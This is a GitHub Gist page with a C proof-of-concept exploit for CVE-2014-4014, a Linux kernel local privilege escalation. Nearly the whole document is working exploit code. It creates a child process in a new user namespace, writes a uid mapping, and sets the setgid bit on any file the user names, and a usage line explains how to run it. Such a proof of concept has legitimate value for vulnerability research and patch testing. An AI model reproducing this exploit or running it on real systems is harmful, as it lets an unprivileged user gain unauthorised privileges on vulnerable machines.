Created
June 22, 2014 01:38
-
-
Save infoslack/8606734bd02a6ab3e3ea to your computer and use it in GitHub Desktop.
CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC | |
* | |
* Vitaly Nikolenko | |
* http://hashcrack.org | |
* | |
* Usage: ./poc [file_path] | |
* | |
* where file_path is the file on which you want to set the sgid bit | |
*/ | |
#define _GNU_SOURCE | |
#include <sys/wait.h> | |
#include <sched.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <limits.h> | |
#include <string.h> | |
#include <assert.h> | |
#define STACK_SIZE (1024 * 1024) | |
static char child_stack[STACK_SIZE]; | |
struct args { | |
int pipe_fd[2]; | |
char *file_path; | |
}; | |
static int child(void *arg) { | |
struct args *f_args = (struct args *)arg; | |
char c; | |
// close stdout | |
close(f_args->pipe_fd[1]); | |
assert(read(f_args->pipe_fd[0], &c, 1) == 0); | |
// set the setgid bit | |
chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR); | |
return 0; | |
} | |
int main(int argc, char *argv[]) { | |
int fd; | |
pid_t pid; | |
char mapping[1024]; | |
char map_file[PATH_MAX]; | |
struct args f_args; | |
assert(argc == 2); | |
f_args.file_path = argv[1]; | |
// create a pipe for synching the child and parent | |
assert(pipe(f_args.pipe_fd) != -1); | |
pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args); | |
assert(pid != -1); | |
// get the current uid outside the namespace | |
snprintf(mapping, 1024, "0 %d 1\n", getuid()); | |
// update uid and gid maps in the child | |
snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid); | |
fd = open(map_file, O_RDWR); assert(fd != -1); | |
assert(write(fd, mapping, strlen(mapping)) == strlen(mapping)); | |
close(f_args.pipe_fd[1]); | |
assert (waitpid(pid, NULL, 0) != -1); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment